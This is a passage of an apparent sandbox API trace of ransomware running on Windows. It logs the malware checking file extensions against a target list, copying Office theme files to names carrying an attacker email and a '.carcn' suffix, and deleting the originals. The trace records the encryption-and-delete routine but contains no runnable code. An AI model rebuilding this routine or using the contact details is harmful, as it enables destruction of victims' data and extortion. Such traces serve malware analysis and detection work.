Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.343] lstrlenW (lpString=".zip") returned 4 [0278.343] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.343] lstrlenW (lpString=".rar") returned 4 [0278.343] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.343] lstrlenW (lpString=".bz2") returned 4 [0278.343] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.343] lstrlenW (lpString=".7z") returned 3 [0278.343] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.344] lstrlenW (lpString=".dbf") returned 4 [0278.344] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.344] lstrlenW (lpString=".1cd") returned 4 [0278.344] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.344] lstrlenW (lpString=".jpg") returned 4 [0278.344] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.344] lstrlenW (lpString=".doc") returned 4 [0278.344] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.344] lstrlenW (lpString=".docx") returned 5 [0278.344] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.344] lstrlenW (lpString=".pdf") returned 4 [0278.344] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.344] lstrlenW (lpString=".xls") returned 4 [0278.344] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.344] lstrlenW (lpString=".xlsx") returned 5 [0278.344] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.345] lstrlenW (lpString=".ppt") returned 4 [0278.345] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.345] lstrlenW (lpString=".zip") returned 4 [0278.345] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.345] lstrlenW (lpString=".rar") returned 4 [0278.345] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.345] lstrlenW (lpString=".bz2") returned 4 [0278.346] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.346] lstrlenW (lpString=".7z") returned 3 [0278.346] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.346] lstrlenW (lpString=".dbf") returned 4 [0278.346] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.346] lstrlenW (lpString=".1cd") returned 4 [0278.346] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0278.346] lstrlenW (lpString=".jpg") returned 4 [0278.346] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.346] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0278.346] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23 [0278.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0278.347] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=45229) returned 1 [0278.347] CloseHandle (hObject=0x55c) returned 1 [0278.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220 [0278.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0278.348] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.348] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0278.350] GetLastError () returned 0x0 [0278.350] ReadFile (in: hFile=0x55c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0xb0ad, lpOverlapped=0x0) returned 1 [0278.391] WriteFile (in: hFile=0x538, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xb0b0, lpOverlapped=0x0) returned 1 [0278.393] ReadFile (in: hFile=0x55c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.393] WriteFile (in: hFile=0x538, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x102, lpOverlapped=0x0) returned 1 [0278.394] SetEndOfFile (hFile=0x538) returned 1 [0278.394] CloseHandle (hObject=0x538) returned 1 [0278.394] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.394] SetEndOfFile (hFile=0x55c) returned 1 [0278.409] CloseHandle (hObject=0x55c) returned 1 [0278.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1 [0278.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.411] lstrlenW (lpString=".doc") returned 4 [0278.411] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.411] lstrlenW (lpString=".docx") returned 5 [0278.411] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.411] lstrlenW (lpString=".pdf") returned 4 [0278.411] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.411] lstrlenW (lpString=".xls") returned 4 [0278.411] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.411] lstrlenW (lpString=".xlsx") returned 5 [0278.411] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.411] lstrlenW (lpString=".ppt") returned 4 [0278.411] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.411] lstrlenW (lpString=".zip") returned 4 [0278.411] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.411] lstrlenW (lpString=".rar") returned 4 [0278.411] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.411] lstrlenW (lpString=".bz2") returned 4 [0278.411] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.411] lstrlenW (lpString=".7z") returned 3 [0278.411] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.411] lstrlenW (lpString=".dbf") returned 4 [0278.411] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.412] lstrlenW (lpString=".1cd") returned 4 [0278.412] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.412] lstrlenW (lpString=".jpg") returned 4 [0278.412] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.412] lstrlenW (lpString=".doc") returned 4 [0278.412] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.412] lstrlenW (lpString=".docx") returned 5 [0278.412] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.412] lstrlenW (lpString=".pdf") returned 4 [0278.412] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.412] lstrlenW (lpString=".xls") returned 4 [0278.412] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.412] lstrlenW (lpString=".xlsx") returned 5 [0278.412] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.412] lstrlenW (lpString=".ppt") returned 4 [0278.412] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.412] lstrlenW (lpString=".zip") returned 4 [0278.412] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.412] lstrlenW (lpString=".rar") returned 4 [0278.412] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.412] lstrlenW (lpString=".bz2") returned 4 [0278.412] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.412] lstrlenW (lpString=".7z") returned 3 [0278.413] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.413] lstrlenW (lpString=".dbf") returned 4 [0278.413] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.413] lstrlenW (lpString=".1cd") returned 4 [0278.413] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0278.413] lstrlenW (lpString=".jpg") returned 4 [0278.413] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.413] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0278.413] lstrlenW (lpString="Riblet.eftx") returned 11 [0278.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0278.414] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=295074) returned 1 [0278.414] CloseHandle (hObject=0x55c) returned 1 [0278.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220 [0278.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0278.430] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.430] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0278.431] GetLastError () returned 0x0 [0278.431] ReadFile (in: hFile=0x55c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x480a2, lpOverlapped=0x0) returned 1 [0278.465] WriteFile (in: hFile=0x538, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x480b0, lpOverlapped=0x0) returned 1 [0278.771] ReadFile (in: hFile=0x55c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.772] WriteFile (in: hFile=0x538, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xea, lpOverlapped=0x0) returned 1 [0278.772] SetEndOfFile (hFile=0x538) returned 1 [0278.772] CloseHandle (hObject=0x538) returned 1 [0278.772] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.772] SetEndOfFile (hFile=0x55c) returned 1 [0278.786] CloseHandle (hObject=0x55c) returned 1 [0278.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1 [0278.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.790] lstrlenW (lpString=".doc") returned 4 [0278.790] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.791] lstrlenW (lpString=".docx") returned 5 [0278.791] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.791] lstrlenW (lpString=".pdf") returned 4 [0278.791] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.791] lstrlenW (lpString=".xls") returned 4 [0278.791] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.791] lstrlenW (lpString=".xlsx") returned 5 [0278.791] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.791] lstrlenW (lpString=".ppt") returned 4 [0278.791] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.791] lstrlenW (lpString=".zip") returned 4 [0278.791] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.791] lstrlenW (lpString=".rar") returned 4 [0278.791] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.791] lstrlenW (lpString=".bz2") returned 4 [0278.792] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.792] lstrlenW (lpString=".7z") returned 3 [0278.792] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.792] lstrlenW (lpString=".dbf") returned 4 [0278.792] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.792] lstrlenW (lpString=".1cd") returned 4 [0278.792] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.792] lstrlenW (lpString=".jpg") returned 4 [0278.792] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.792] lstrlenW (lpString=".doc") returned 4 [0278.792] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.792] lstrlenW (lpString=".docx") returned 5 [0278.792] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.792] lstrlenW (lpString=".pdf") returned 4 [0278.792] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.793] lstrlenW (lpString=".xls") returned 4 [0278.793] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.793] lstrlenW (lpString=".xlsx") returned 5 [0278.793] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.793] lstrlenW (lpString=".ppt") returned 4 [0278.793] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.793] lstrlenW (lpString=".zip") returned 4 [0278.793] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.793] lstrlenW (lpString=".rar") returned 4 [0278.793] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.793] lstrlenW (lpString=".bz2") returned 4 [0278.793] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.793] lstrlenW (lpString=".7z") returned 3 [0278.793] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.793] lstrlenW (lpString=".dbf") returned 4 [0278.793] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.793] lstrlenW (lpString=".1cd") returned 4 [0278.793] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0278.793] lstrlenW (lpString=".jpg") returned 4 [0278.794] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.794] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0278.794] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0278.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0278.796] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=18624) returned 1 [0278.796] CloseHandle (hObject=0x55c) returned 1 [0278.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0278.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.797] lstrlenW (lpString=".doc") returned 4 [0278.797] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.797] lstrlenW (lpString=".docx") returned 5 [0278.797] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.797] lstrlenW (lpString=".pdf") returned 4 [0278.797] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.797] lstrlenW (lpString=".xls") returned 4 [0278.797] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.797] lstrlenW (lpString=".xlsx") returned 5 [0278.797] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.797] lstrlenW (lpString=".ppt") returned 4 [0278.797] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.797] lstrlenW (lpString=".zip") returned 4 [0278.797] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.797] lstrlenW (lpString=".rar") returned 4 [0278.797] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.797] lstrlenW (lpString=".bz2") returned 4 [0278.797] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.797] lstrlenW (lpString=".7z") returned 3 [0278.797] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.798] lstrlenW (lpString=".dbf") returned 4 [0278.798] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.798] lstrlenW (lpString=".1cd") returned 4 [0278.798] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.798] lstrlenW (lpString=".jpg") returned 4 [0278.798] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.798] lstrlenW (lpString=".doc") returned 4 [0278.798] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.798] lstrlenW (lpString=".docx") returned 5 [0278.798] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.798] lstrlenW (lpString=".pdf") returned 4 [0278.798] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.798] lstrlenW (lpString=".xls") returned 4 [0278.799] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.799] lstrlenW (lpString=".xlsx") returned 5 [0278.799] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.799] lstrlenW (lpString=".ppt") returned 4 [0278.799] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0278.799] lstrlenW (lpString=".zip") returned 4 [0278.799] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.799] lstrlenW (lpString=".rar") returned 4 [0278.799] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.799] lstrlenW (lpString=".bz2") returned 4 [0278.799] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.799] lstrlenW (lpString=".7z") returned 